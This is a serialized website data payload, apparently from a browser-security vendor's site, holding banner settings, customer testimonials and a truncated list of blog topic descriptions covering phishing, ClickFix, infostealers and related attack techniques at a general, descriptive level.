[{"data":1,"prerenderedAt":38213},["ShallowReactive",2],{"application-flags":3,"navbar":7,"always-visible-banner":36,"navbar-about-highlight":108,"navbar-resource-highlight":182,"blog-topics":226,"trust-badges":656,"solution-nav":677,"fa-icon-solid-faUserSecret":800,"fa-icon-sharp-regular-faLaptopCode":804,"fa-icon-solid-faPlugCircleXmark":806,"fa-icon-sharp-regular-faPuzzlePiece":808,"fa-icon-solid-faFileCircleXmark":810,"fa-icon-solid-faGhost":813,"fa-icon-solid-faQrcode":816,"fa-icon-solid-faCookieBite":818,"fa-icon-sharp-regular-faFishingRod":820,"fa-icon-sharp-regular-faUserSecret":822,"fa-icon-sharp-regular-faRadar":824,"fa-icon-sharp-regular-faSatelliteDish":826,"fa-icon-sharp-regular-faShieldCheck":828,"fa-icon-sharp-regular-faBrainCircuit":830,"fa-icon-solid-faMobileScreenButton":832,"fa-icon-brands-faChrome":834,"fa-icon-solid-faDisplay":836,"fa-icon-solid-faFilter":838,"fa-icon-solid-faCloudArrowUp":840,"blog-topic-malware-delivery":842},[4],{"name":5,"enabled":6},"maintenanceMode",false,[8],{"createdDate":9,"id":10,"name":11,"modelId":12,"published":13,"meta":14,"query":22,"data":23,"variations":28,"lastUpdated":29,"firstPublished":30,"testRatio":31,"createdBy":32,"lastUpdatedBy":33,"folders":34,"rev":35},1742208588866,"1c7a4e423bf54ac1a328bb4063459ef2","Banner","1c6207a5f24948ab82d4a0b17f251193","published",{"breakpoints":15,"hasAutosaves":19,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},768,640,320,true,"data","",[],{"link":24,"text":25,"type":26,"url":27},{},"Get our latest report analyzing browser attack techniques in 2026","web-banner","https://pushsecurity.com/resources/browser-attacks-report",{},1774258294825,1742208637545,1,"CydmZnOWU1XuAaLhEDCoYNM4Z8W2","jKjF9r5jcvXU8tzZEfFQm31Iyvr2",[],"j7ew2tin4q",{"createdBy":37,"createdDate":38,"data":39,"folders":94,"id":95,"lastUpdated":96,"lastUpdatedBy":97,"meta":98,"modelId":102,"name":103,"published":13,"query":104,"testRatio":31,"variations":105,"firstPublished":106,"stageModifiedSincePublish":6,"rev":107},"ST0tXQM8slWpFrmioqKHmENB2qe2",1774965361051,{"ctaText":40,"text":41,"url":21,"blocks":42,"state":90},"ewrererw","testrfesssssssssss",[43,70,78],{"@type":44,"@version":45,"id":46,"component":47,"responsiveStyles":60},"@builder.io/sdk:Element",2,"builder-ca12c06a52de41d7b8743da53118cd38",{"name":48,"tag":48,"options":49,"isRSC":59},"TopBannerContent",{"text":50,"ctaText":51,"url":52,"mainText":53,"cta":56},"New Webinar Series: Join John Hammond, Troy Hunt, and Matt Johansen for the State of Browser Attacks","Save Your Spot","https://pushsecurity.com/webinar/state-of-browser-security",{"content":54,"fontSize":55},"\u003Cp class=\"\">Do you know how much AI is in your workforce? Find out August 20th.\u003C/p>","text-base",{"content":57,"fontSize":55,"url":58},"\u003Cp class=\"\">Save your seat →\u003C/p>","https://pushsecurity.com/webinar/shadow-ai",null,{"large":61},{"display":62,"flexDirection":63,"position":64,"flexShrink":65,"boxSizing":66,"marginTop":67,"marginBottom":67,"fontSize":68,"fontWeight":69},"flex","column","relative","0","border-box",".56rem","1.125rem","700",{"@type":44,"@version":45,"id":71,"component":72,"responsiveStyles":76},"builder-a2e1f4b9f30b464bb814d7f5de5b0aa7",{"name":73,"options":74,"isRSC":59},"Custom Code",{"code":75,"scriptsClientOnly":6},"\u003Cstyle>\n  .top-banner.bg-web-orange{background:rgb(114, 79, 255);}\n\u003C/style>\n",{"large":77},{"display":62,"flexDirection":63,"position":64,"flexShrink":65,"boxSizing":66},{"id":79,"@type":44,"tagName":80,"properties":81,"responsiveStyles":85},"builder-pixel-k74nkzlquog","img",{"src":82,"aria-hidden":83,"alt":21,"role":84,"width":65,"height":65},"https://cdn.builder.io/api/v1/pixel?apiKey=f3a1111ff5be48cdbb123cd9f5795a05","true","presentation",{"large":86},{"height":65,"width":65,"display":87,"opacity":65,"overflow":88,"pointerEvents":89},"block","hidden","none",{"deviceSize":91,"location":92},"large",{"path":21,"query":93},{},[],"fd266d0172cc47429be7ad10f48c99ad",1786155414606,"kYgMv6WsbvfmlOUYqR2SFwGzw6e2",{"breakpoints":99,"hasAutosaves":6,"hasErrors":6,"hasLinks":6,"kind":100,"lastPreviewUrl":101},{"medium":16,"small":17,"xsmall":18},"component","https://pushsecurity.com/?builder.space=f3a1111ff5be48cdbb123cd9f5795a05&builder.user.permissions=read%2Ccreate%2Cpublish%2CeditDesigns%2CeditLayouts%2CeditLayers%2CeditContentPriority%2CeditFolders%2CcreateProjects%2CsendPullRequests%2CfusionHostingPublish&builder.user.role.name=Designer&builder.user.role.id=creator&builder.cachebust=true&builder.preview=always-visible-banner&builder.noCache=true&builder.allowTextEdit=true&__builder_editing__=true&builder.overrides.always-visible-banner=fd266d0172cc47429be7ad10f48c99ad&builder.overrides.fd266d0172cc47429be7ad10f48c99ad=fd266d0172cc47429be7ad10f48c99ad&builder.options.locale=Default","0678d178ec8b41efb8a23c09dba7874d","always visible banner",[],{},1774968080803,"1lcyl36j3gz",[109,145],{"createdBy":32,"createdDate":110,"data":111,"folders":134,"id":135,"lastUpdated":136,"lastUpdatedBy":32,"meta":137,"modelId":139,"name":140,"published":13,"query":141,"stageModifiedSincePublish":6,"testRatio":31,"variations":142,"firstPublished":143,"rev":144},1776247359804,{"link":112,"testimonial":113,"testimonialLink":133,"type":116},{},{"@type":114,"id":115,"model":116,"value":117},"@builder.io/core:Reference","f028f2b685bb47cd8bf9e82a26dd5a79","testimonial",{"query":118,"folders":119,"createdDate":120,"id":115,"name":121,"modelId":122,"published":13,"data":123,"variations":127,"lastUpdated":128,"firstPublished":129,"testRatio":31,"createdBy":37,"lastUpdatedBy":37,"meta":130,"rev":132},[],[],1735823466309,"We found Push to be more accurate when compared to competitors and the browser agent offered features that others couldn’t match.","42035571a56940ac98bff4544aa79aa5",{"author":124,"jobTitle":125,"quote":121,"image":126},"Jason Waits","\u003Cp>CISO at Inductive Automation\u003C/p>","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Ff04c0c0689ce4a89ac0f0708d78c0a07",{},1735910703862,1735823501152,{"kind":20,"lastPreviewUrl":21,"breakpoints":131,"hasAutosaves":19},{"small":17,"medium":16},"xal7chkxmdh","/customer-stories/inductive-automation",[],"9136a8f18b3b4a6ba29b8653a99372b1",1776247404986,{"breakpoints":138,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"20d9eaa352304613b3d1a794b400703d","testimonial-inductive-automation",[],{},1776247404973,"5mqgwlt47hs",{"createdBy":32,"createdDate":146,"data":147,"folders":174,"id":175,"lastUpdated":176,"lastUpdatedBy":32,"meta":177,"modelId":139,"name":172,"published":13,"query":179,"stageModifiedSincePublish":6,"testRatio":31,"variations":180,"firstPublished":181,"rev":144},1776255761419,{"description":148,"image":149,"link":150,"testimonial":153,"title":172,"type":173},"Learn about the latest techniques being used in the wild.","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F7b4a5ebf81d64e8c9d7fc35f6c96c4a9",{"text":151,"url":152},"Download now","/resources/browser-attacks-report",{"@type":114,"id":154,"model":116,"value":155},"192acbb1f9ca4cac918c0ec435a8bae3",{"query":156,"folders":157,"createdDate":158,"id":154,"name":159,"modelId":122,"published":13,"data":160,"variations":166,"lastUpdated":167,"firstPublished":168,"testRatio":31,"createdBy":37,"lastUpdatedBy":32,"meta":169,"rev":171},[],[],1728981467463,"Push does for identity what CrowdStrike did for the endpoint",{"video":161,"jobTitle":162,"author":163,"qoute":21,"quote":164,"image":165},"https://cdn.builder.io/o/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F8b30e8ca50064058bbaef0f3c6164575%2Fcompressed?apiKey=f3a1111ff5be48cdbb123cd9f5795a05&token=8b30e8ca50064058bbaef0f3c6164575&alt=media&optimized=true","\u003Cp>Deputy CISO at Microsoft\u003C/p>\u003Cp>Former LinkedIn, Slack, Palantir\u003C/p>","Geoff Belknap","Push does for identity what CrowdStrike did for the endpoint.","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F748f0ad0a5064a00a13f4721fcc8dea1",{},1742902158597,1728981782923,{"kind":20,"lastPreviewUrl":21,"breakpoints":170,"hasAutosaves":19},{"small":17,"medium":16},"kg131t0jkvo","Report: 2026 Browser Attack Techniques","resource",[],"05a9322735fc427db12e2740e4302300",1776255810913,{"breakpoints":178,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},[],{},1776255810900,[183,205],{"createdBy":32,"createdDate":184,"data":185,"folders":195,"id":196,"lastUpdated":197,"lastUpdatedBy":32,"meta":198,"modelId":200,"name":172,"published":13,"query":201,"stageModifiedSincePublish":6,"testRatio":31,"variations":202,"firstPublished":203,"rev":204},1776256900280,{"description":148,"image":149,"link":186,"testimonial":187,"title":172,"type":173},{"text":151,"url":152},{"@type":114,"id":154,"model":116,"value":188},{"query":189,"folders":190,"createdDate":158,"id":154,"name":159,"modelId":122,"published":13,"data":191,"variations":192,"lastUpdated":167,"firstPublished":168,"testRatio":31,"createdBy":37,"lastUpdatedBy":32,"meta":193,"rev":171},[],[],{"video":161,"jobTitle":162,"author":163,"qoute":21,"quote":164,"image":165},{},{"kind":20,"lastPreviewUrl":21,"breakpoints":194,"hasAutosaves":19},{"small":17,"medium":16},[],"1f429607996e4e5fae8fe3f9b9610e55",1776256937553,{"breakpoints":199,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"4829faa81e7c4ee8bd2d000e160e8d3c",[],{},1776256937540,"470xio0yv7r",{"createdBy":32,"createdDate":206,"data":207,"folders":217,"id":218,"lastUpdated":219,"lastUpdatedBy":32,"meta":220,"modelId":200,"name":222,"published":13,"query":223,"stageModifiedSincePublish":6,"testRatio":31,"variations":224,"firstPublished":225,"rev":204},1776256949234,{"link":208,"testimonial":209,"testimonialLink":133,"type":116},{},{"@type":114,"id":115,"model":116,"value":210},{"query":211,"folders":212,"createdDate":120,"id":115,"name":121,"modelId":122,"published":13,"data":213,"variations":214,"lastUpdated":128,"firstPublished":129,"testRatio":31,"createdBy":37,"lastUpdatedBy":37,"meta":215,"rev":132},[],[],{"author":124,"jobTitle":125,"quote":121,"image":126},{},{"kind":20,"lastPreviewUrl":21,"breakpoints":216,"hasAutosaves":19},{"small":17,"medium":16},[],"ce043785b71b4ece98eac811ecf4ba10",1776256974140,{"breakpoints":221,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"inductive-automation",[],{},1776256974130,{"id":227,"extension":228,"items":229,"meta":653,"stem":654,"__hash__":655},"blogTopics/blogtopics.json","json",[230,239,247,256,265,274,283,292,301,310,319,328,337,346,355,363,372,381,390,399,408,417,426,435,443,452,461,470,479,488,497,506,514,523,532,540,549,558,566,575,584,593,602,611,619,628,637,645],{"sys":231,"faqItemsCollection":233,"name":235,"slug":236,"tier":31,"intro":237,"faqTitle":59,"postCount":238,"hasPage":19},{"id":232},"topic-ai",{"items":234},[],"AI","ai","AI is reshaping both sides of the security equation: employees adopt AI tools faster than security teams can track them, while attackers use AI to scale and automate campaigns. Shadow AI adoption may now outpace wider shadow SaaS, and attackers are already turning AI chatbot platforms into malware delivery channels. Push has researched the offensive potential of computer-using agents and now applies AI agents to its own threat hunting. This hub covers AI as risk, target, and defensive tool.",22,{"sys":240,"faqItemsCollection":242,"name":244,"slug":245,"tier":45,"intro":246,"faqTitle":59,"postCount":238,"hasPage":19},{"id":241},"topic-ai-attacks",{"items":243},[],"AI attacks","ai-attacks","AI attacks run in both directions: attackers using AI to scale phishing, malware delivery, and identity attacks, and AI platforms themselves becoming the attack surface. Push has researched how computer-using agents can automate identity attacks, and has seen the poisoned tenant technique it coined used against its own employees in the wild.",{"sys":248,"faqItemsCollection":250,"name":252,"slug":253,"tier":45,"intro":254,"faqTitle":59,"postCount":255,"hasPage":19},{"id":249},"topic-ai-governance",{"items":251},[],"AI governance","ai-governance","AI governance is how organizations set and enforce rules for workplace AI use — which tools are allowed, what data can enter them, and how to evidence it to regulators. With US, EU, and UK AI regulations converging on obligations most organizations can’t yet meet, Push’s research makes the case that enforcement starts in the browser, where AI tools are actually used.",9,{"sys":257,"faqItemsCollection":259,"name":261,"slug":262,"tier":45,"intro":263,"faqTitle":59,"postCount":264,"hasPage":19},{"id":258},"topic-aitm",{"items":260},[],"AiTM phishing","aitm","Adversary-in-the-middle (AiTM) phishing proxies a real login page through an attacker-controlled site, capturing credentials, MFA codes, and session tokens in real time to bypass multi-factor authentication. Push’s research into kits like Evilginx and Sneaky2FA documents how they evade URL- and signature-based detection — and why analyzing toolkit behavior in the browser catches attacks that blocklists miss.",77,{"sys":266,"faqItemsCollection":268,"name":270,"slug":271,"tier":45,"intro":272,"faqTitle":59,"postCount":273,"hasPage":6},{"id":267},"topic-bec",{"items":269},[],"BEC","bec","Business email compromise (BEC) turns a hijacked mailbox into a fraud tool: attackers use mail rules, auto-forwarding, and payment redirection to steal money while staying invisible to the account owner. Alongside a first-hand case study of a BEC attack that nearly cost an engineering firm millions, Push breaks down these mailbox persistence tricks and how to detect them.",3,{"sys":275,"faqItemsCollection":277,"name":279,"slug":280,"tier":31,"intro":281,"faqTitle":59,"postCount":282,"hasPage":19},{"id":276},"topic-browser-attacks",{"items":278},[],"Browser attacks","browser-attacks","Browser attacks target users through the web pages, sessions, and extensions they rely on every day — bypassing endpoint and network defenses that never see inside the browser. Techniques like AiTM phishing kits, ClickFix-style copy-paste attacks, OAuth consent abuse, malvertising, and browser sync abuse have become a leading path to account takeover. Push researchers analyze these attacks in the wild, from infiltrating criminal phishing panels to dissecting toolkits like ConsentFix and Sneaky2FA. Use this hub to track how the techniques evolve and how to defend against them.",118,{"sys":284,"faqItemsCollection":286,"name":288,"slug":289,"tier":45,"intro":290,"faqTitle":59,"postCount":291,"hasPage":19},{"id":285},"topic-browser-extensions",{"items":287},[],"Browser extensions","browser-extensions","Browser extensions cut both ways for security teams: malicious or compromised extensions are a growing attack vector, while an extension is also the lightest-weight way to deploy security controls into the browsers employees already use. These posts cover both sides — extension-borne risks like browser sync attacks and the limits of risk scoring, and how Push uses its extension to detect threats and block risky extensions.",30,{"sys":293,"faqItemsCollection":295,"name":297,"slug":298,"tier":31,"intro":299,"faqTitle":59,"postCount":300,"hasPage":19},{"id":294},"topic-browser-security",{"items":296},[],"Browser security","browser-security","Work now happens in the browser, making browser security — visibility and control at the point where users meet the web — a core layer of enterprise defense. Endpoint, network, and email tools miss attacks that unfold inside the browser session, from AiTM phishing to risky extensions and shadow SaaS. Push has published extensively on choosing between enterprise browsers and browser extensions, using browser telemetry, and making the business case for browser security. Start here for both strategy and hands-on guidance.",127,{"sys":302,"faqItemsCollection":304,"name":306,"slug":307,"tier":45,"intro":308,"faqTitle":59,"postCount":309,"hasPage":19},{"id":303},"topic-casb",{"items":305},[],"CASB","casb","Cloud access security brokers (CASBs) govern cloud app usage through API integrations and network proxies — an approach that works for sanctioned apps but struggles with the long tail of shadow SaaS employees adopt on their own. Because every SaaS signup happens in a browser, Push captures that adoption in real time at the point of login, and these posts cover what proxy-based discovery misses.",12,{"sys":311,"faqItemsCollection":313,"name":315,"slug":316,"tier":45,"intro":317,"faqTitle":59,"postCount":318,"hasPage":19},{"id":312},"topic-clickfix",{"items":314},[],"ClickFix","clickfix","ClickFix attacks trick users into copying and running malicious commands themselves — typically through fake CAPTCHA, error, or fix-it prompts — so malware executes without a download for security tools to scan. Push researchers track the technique’s evolution in the wild and identified the ConsentFix and InstallFix variants, which extend it to OAuth consent grants and fake install guides.",39,{"sys":320,"faqItemsCollection":322,"name":324,"slug":325,"tier":45,"intro":326,"faqTitle":59,"postCount":327,"hasPage":19},{"id":321},"topic-credential-phishing",{"items":323},[],"Credential phishing","credential-phishing","Credential phishing steals usernames and passwords through fake login pages impersonating the services employees use, handing attackers direct access to corporate accounts. Attackers don’t hack in — they log in. Push’s browser extension analyzes login pages as users actually see them, blocking cloned pages and stopping employees from entering company passwords on lookalike sites.",89,{"sys":329,"faqItemsCollection":331,"name":333,"slug":334,"tier":45,"intro":335,"faqTitle":59,"postCount":336,"hasPage":19},{"id":330},"topic-credential-stuffing",{"items":332},[],"Credential stuffing","credential-stuffing","Credential stuffing is an attack where criminals replay username-password pairs stolen from one breach against other services, exploiting password reuse to take over accounts. Major breaches have shown how far a single set of stolen credentials can travel. Push detects verified stolen credentials by comparing employee passwords against breach datasets and dark-web threat intelligence, eliminating false positives.",64,{"sys":338,"faqItemsCollection":340,"name":342,"slug":343,"tier":31,"intro":344,"faqTitle":59,"postCount":345,"hasPage":19},{"id":339},"topic-detection-and-response",{"items":341},[],"Detection & response","detection-and-response","Detection and response is being reshaped as attacks move into the browser, where EDR, SIEM, and network tools have limited visibility. Modern phishing kits evade signature-based detection, and most malicious pages have never been seen before — so technique-level, in-browser detection matters more than known-bad indicators. Push’s work here spans high-fidelity browser telemetry, session token theft detection, and agentic threat hunting, plus practical IR guidance for compromised SaaS accounts and malicious OAuth apps. These posts cover both the philosophy and the workflows.",101,{"sys":347,"faqItemsCollection":349,"name":351,"slug":352,"tier":45,"intro":353,"faqTitle":59,"postCount":354,"hasPage":19},{"id":348},"topic-detection-engineering",{"items":350},[],"Detection engineering","detection-engineering","Detection engineering turns threat research into reliable, high-fidelity detections — and as AI accelerates the churn of attacker infrastructure, indicator-based detection is collapsing in favor of technique-level approaches. Here you’ll find teardowns of AiTM kits, ClickFix pages, and malvertising campaigns, alongside Push’s own account of building an agentic threat hunting pipeline that turns hunts into shipped detections.",42,{"sys":356,"faqItemsCollection":358,"name":360,"slug":361,"tier":45,"intro":362,"faqTitle":59,"postCount":238,"hasPage":19},{"id":357},"topic-device-code-phishing",{"items":359},[],"Device code phishing","device-code-phishing","Device code phishing abuses the OAuth device authorization flow: attackers generate a legitimate sign-in code, trick the victim into entering it on the vendor’s real login page, and walk away with access tokens — no fake site or password capture required. Push research tracked a sharp spike in adoption during 2026 as attackers use the technique to sidestep standard access controls.",{"sys":364,"faqItemsCollection":366,"name":368,"slug":369,"tier":45,"intro":370,"faqTitle":59,"postCount":371,"hasPage":19},{"id":365},"topic-dlp",{"items":367},[],"DLP","dlp","Data loss prevention (DLP) is the practice of stopping sensitive data from leaving your control — a problem that has shifted from email and endpoints to the browser, where employees move data into SaaS and AI tools. Push applies controls at that point of use, from keeping corporate credentials out of personal password managers to governing what flows into unsanctioned apps.",15,{"sys":373,"faqItemsCollection":375,"name":377,"slug":378,"tier":45,"intro":379,"faqTitle":59,"postCount":380,"hasPage":19},{"id":374},"topic-edr",{"items":376},[],"EDR","edr","Endpoint detection and response (EDR) watches processes, files, and memory on the device — a vantage point that never sees the phishing pages, stolen sessions, and identity attacks playing out inside the browser. That’s not an EDR failure; attackers have simply moved where it can’t follow. These posts map that gap and show how Push pairs browser-level detection and response with endpoint security to close it.",24,{"sys":382,"faqItemsCollection":384,"name":386,"slug":387,"tier":45,"intro":388,"faqTitle":59,"postCount":389,"hasPage":19},{"id":383},"topic-enterprise-browser",{"items":385},[],"Enterprise browser","enterprise-browser","An enterprise browser is a standalone, security-hardened browser that organizations deploy in place of Chrome, Edge, or other defaults. The real buying question is whether replacing the browser beats securing the browsers employees already use — a trade-off these posts examine directly, alongside analysis of Omdia’s secure enterprise browser market report and Push’s framework for weighing full browsers against extension-based deployment.",6,{"sys":391,"faqItemsCollection":393,"name":395,"slug":396,"tier":45,"intro":397,"faqTitle":59,"postCount":398,"hasPage":19},{"id":392},"topic-ghost-logins",{"items":394},[],"Ghost logins","ghost-logins","Ghost logins are overlooked authentication routes into an account — like a password login lingering behind SSO, or a forgotten secondary auth method — that attackers exploit for account takeover and persistence. Push coined the term after research showing how these forgotten login paths let attackers sidestep the MFA and SSO controls guarding an account’s primary sign-in method.",48,{"sys":400,"faqItemsCollection":402,"name":404,"slug":405,"tier":45,"intro":406,"faqTitle":59,"postCount":407,"hasPage":19},{"id":401},"topic-identity-attacks",{"items":403},[],"Identity attacks","identity-attacks","Identity attacks target user accounts rather than infrastructure — phishing credentials, stealing sessions, abusing OAuth grants — because logging in is easier than hacking in. Identity-based techniques are now the leading cause of breaches. Push’s offensive research maps these techniques continuously, coining attacks like SAMLjacking and the poisoned tenant before they appeared in the wild.",56,{"sys":409,"faqItemsCollection":411,"name":413,"slug":414,"tier":31,"intro":415,"faqTitle":59,"postCount":416,"hasPage":19},{"id":410},"topic-identity-security",{"items":412},[],"Identity security","identity-security","Identity security is the practice of protecting workforce accounts, credentials, and sessions — the primary route attackers now use to breach organizations. Instead of hacking in, attackers log in: through phished credentials, stolen session tokens, MFA bypass, and forgotten ghost logins. Push’s research team documents these techniques continuously, from cross-IdP impersonation and SAMLjacking to analyses of major identity-driven breaches. This hub collects that research alongside practical guidance on MFA, SSO, and stopping account takeover.",154,{"sys":418,"faqItemsCollection":420,"name":422,"slug":423,"tier":45,"intro":424,"faqTitle":59,"postCount":425,"hasPage":19},{"id":419},"topic-infostealer",{"items":421},[],"Infostealer","infostealer","Infostealers are malware built to harvest saved passwords, cookies, and session tokens from infected devices, supplying the stolen credentials behind some of the most consequential breaches of recent years. Push traces the ecosystem trading this data and checks employee passwords against threat intel feeds, flagging verified stolen credentials before attackers can log in with them.",52,{"sys":427,"faqItemsCollection":429,"name":431,"slug":432,"tier":45,"intro":433,"faqTitle":59,"postCount":434,"hasPage":19},{"id":428},"topic-legitimate-service-abuse",{"items":430},[],"Legitimate service abuse","legitimate-service-abuse","Legitimate service abuse means staging attacks on trusted platforms — Google Ads, AI chatbot share pages, office.com links, Slack, SaaS tenants — so malicious content inherits the reputation of the service hosting it. Push research has documented the pattern repeatedly, from malvertising run through hijacked Google Ad Manager accounts to phishing links generated by Active Directory Federation Services.",28,{"sys":436,"faqItemsCollection":438,"name":440,"slug":441,"tier":45,"intro":442,"faqTitle":59,"postCount":291,"hasPage":19},{"id":437},"topic-malvertising",{"items":439},[],"Malvertising","malvertising","Malvertising uses paid search and display ads to put phishing pages and malware in front of users, often by impersonating trusted brands at the top of Google results. Push tracks these campaigns continuously — intercepting live attacks spoofing well-known brands — and has documented how criminals hijack Google Ads accounts to fund and run them.",{"sys":444,"faqItemsCollection":446,"name":448,"slug":449,"tier":45,"intro":450,"faqTitle":59,"postCount":451,"hasPage":19},{"id":445},"topic-malware-delivery",{"items":447},[],"Malware delivery","malware-delivery","Malware delivery has moved into the browser: rather than email attachments, attackers now rely on malvertising, fake install guides, and ClickFix-style copy-paste lures to get code running on endpoints. Push research on techniques like InstallFix maps the playbook, and in-browser detection of malicious copy and paste blocks these attacks before commands reach the endpoint.",13,{"sys":453,"faqItemsCollection":455,"name":457,"slug":458,"tier":45,"intro":459,"faqTitle":59,"postCount":460,"hasPage":19},{"id":454},"topic-mfa",{"items":456},[],"MFA","mfa","Multi-factor authentication (MFA) requires a second proof of identity beyond a password, and it remains one of the most effective controls against account takeover. Regulators from Cyber Essentials to NYDFS now mandate it across cloud services. Push enforces MFA in the browser on third-party apps — even those with no native enforcement option — and shows security teams where coverage gaps remain.",83,{"sys":462,"faqItemsCollection":464,"name":466,"slug":467,"tier":45,"intro":468,"faqTitle":59,"postCount":469,"hasPage":19},{"id":463},"topic-mfa-bypass",{"items":465},[],"MFA bypass","mfa-bypass","MFA bypass covers the techniques attackers use to defeat multi-factor authentication — AiTM phishing kits, consent phishing, device code phishing, and MFA downgrade attacks among them. None of these break the second factor; they route around it. Push researchers regularly get hands-on with phishing kits like Evilginx and Sneaky2FA, analyzing how these attacks work in the wild and how they evolve.",58,{"sys":471,"faqItemsCollection":473,"name":475,"slug":476,"tier":45,"intro":477,"faqTitle":59,"postCount":478,"hasPage":19},{"id":472},"topic-non-email-phishing",{"items":474},[],"Non-email phishing","non-email-phishing","Non-email phishing delivers malicious links through channels your secure email gateway never sees — social media messages, IM apps like Slack and Teams, search ads, and SMS. Push has intercepted live campaigns arriving via LinkedIn DMs, malvertising, and messaging platforms, which is why it detects phishing pages in the browser at the point of click, regardless of delivery channel.",51,{"sys":480,"faqItemsCollection":482,"name":484,"slug":485,"tier":45,"intro":486,"faqTitle":59,"postCount":487,"hasPage":19},{"id":481},"topic-oauth-abuse",{"items":483},[],"OAuth abuse","oauth-abuse","OAuth abuse is attackers exploiting app-to-app authorization — consent phishing, malicious OAuth apps, stolen tokens, and device code flows — to gain persistent access to cloud tenants without touching a password or MFA prompt. Push tracks these techniques continuously and discovered ConsentFix, a browser-native attack in the wild that pairs OAuth consent phishing with a ClickFix-style prompt.",70,{"sys":489,"faqItemsCollection":491,"name":493,"slug":494,"tier":45,"intro":495,"faqTitle":59,"postCount":496,"hasPage":19},{"id":490},"topic-passkeys",{"items":492},[],"Passkeys","passkeys","Passkeys are phishing-resistant credentials that replace passwords with cryptographic key pairs bound to a user’s device. They defeat conventional credential phishing, but attackers adapt: Push research has documented MFA downgrade, app-specific password phishing, and device code phishing being used in the wild to route around passkey-protected accounts. Deploying passkeys is step one; closing those fallback paths is step two.",21,{"sys":498,"faqItemsCollection":500,"name":502,"slug":503,"tier":45,"intro":504,"faqTitle":59,"postCount":505,"hasPage":19},{"id":499},"topic-password-security",{"items":501},[],"Password security","password-security","Password security is the practice of keeping workforce credentials strong, unique, and out of attackers’ hands — still a frontline defense while most SaaS logins depend on passwords. Expiration policies don’t fix weak or reused passwords; visibility does. Push observes real logins in the browser to flag weak, reused, and breached passwords and guide employees to reset them on any app.",79,{"sys":507,"faqItemsCollection":509,"name":511,"slug":512,"tier":45,"intro":513,"faqTitle":59,"postCount":318,"hasPage":19},{"id":508},"topic-phaas",{"items":510},[],"PhaaS","phaas","Phishing-as-a-service (PhaaS) platforms sell ready-made phishing kits, hosted infrastructure, and management panels on subscription, letting low-skill criminals run MFA-bypassing campaigns at scale. Kits like Evilginx, Tycoon2FA, Sneaky2FA, FlowerStorm, and EvilTokens each add their own evasion and session-theft capabilities, and new entrants appear regularly. Push researchers continuously get hands-on with these tools — investigating attacks in the wild, reverse-engineering kit behavior, and turning that research into detections.",{"sys":515,"faqItemsCollection":517,"name":519,"slug":520,"tier":31,"intro":521,"faqTitle":59,"postCount":522,"hasPage":19},{"id":516},"topic-phishing",{"items":518},[],"Phishing","phishing","Phishing remains the most common way attackers compromise business accounts — and it has moved far beyond suspicious emails. Modern campaigns use AiTM toolkits that bypass MFA, consent phishing against OAuth, device code phishing, and lures delivered through malvertising, LinkedIn, and Slack. Push detects and blocks these attacks in the browser, and its researchers publish teardowns of live campaigns and kits like Evilginx and Sneaky2FA. Read on for how phishing actually works today and what stops it.",91,{"sys":524,"faqItemsCollection":526,"name":528,"slug":529,"tier":45,"intro":530,"faqTitle":59,"postCount":531,"hasPage":19},{"id":525},"topic-public-breach",{"items":527},[],"Public breach","public-breach","Public breaches are the disclosed incidents that show how attacks actually unfold once the headlines fade. Push’s breach analyses keep finding identity at the entry point: stolen credentials, OAuth abuse, and missing MFA recur across the incidents analyzed here.",29,{"sys":533,"faqItemsCollection":535,"name":537,"slug":538,"tier":45,"intro":539,"faqTitle":59,"postCount":451,"hasPage":19},{"id":534},"topic-ransomware",{"items":536},[],"Ransomware","ransomware","Ransomware attacks increasingly begin with an identity, not an exploit: stolen credentials, MFA bypass, and help desk scams give operators their initial foothold. The analysis here follows that front end of the kill chain — how identity compromise leads to ransomware deployment, and the breaches driving regulators toward tighter MFA requirements.",{"sys":541,"faqItemsCollection":543,"name":545,"slug":546,"tier":31,"intro":547,"faqTitle":59,"postCount":548,"hasPage":19},{"id":542},"topic-saas-security",{"items":544},[],"SaaS security","saas-security","SaaS security means protecting the sprawl of cloud apps, accounts, and integrations your employees adopt — often without IT ever knowing. Shadow SaaS, risky OAuth grants, ghost logins, and unmanaged third-party access create attack paths traditional controls can’t see, as recent high-profile breaches have demonstrated. Building on the original SaaS attack matrix, Push continues to map SaaS-native attack techniques alongside practical guides for discovering and securing unsanctioned apps, and this hub gathers all of it.",96,{"sys":550,"faqItemsCollection":552,"name":554,"slug":555,"tier":45,"intro":556,"faqTitle":59,"postCount":557,"hasPage":6},{"id":551},"topic-security-training",{"items":553},[],"Security training","security-training","Security training aims to teach employees to recognize and avoid attacks — yet modern phishing routinely fools even seasoned security professionals. Push argues that training budgets work harder as real-time, in-browser intervention: guardrails and warnings at the moment of risk, rather than lessons employees must recall under pressure.",4,{"sys":559,"faqItemsCollection":561,"name":563,"slug":564,"tier":45,"intro":565,"faqTitle":59,"postCount":389,"hasPage":19},{"id":560},"topic-seo-poisoning",{"items":562},[],"SEO poisoning","seo-poisoning","SEO poisoning manipulates search engine results so malicious pages rank prominently for the software, tools, or services users are actively searching for, turning a routine search into an infection vector. It often pairs with malvertising and ClickFix-style payloads — Push has documented attackers abusing shared pages on legitimate AI chatbot domains to deliver malware from trusted infrastructure.",{"sys":567,"faqItemsCollection":569,"name":571,"slug":572,"tier":45,"intro":573,"faqTitle":59,"postCount":574,"hasPage":19},{"id":568},"topic-session-hijacking",{"items":570},[],"Session hijacking","session-hijacking","Session hijacking is the theft of an authenticated session — usually via stolen session cookies or tokens — letting attackers walk past passwords and MFA into a live account. AiTM phishing kits and infostealers have made it a mainstream attack technique across both criminal and targeted intrusions. Push’s browser agent detects session token theft by adding telemetry to the user agent string, creating a high-fidelity signal for security 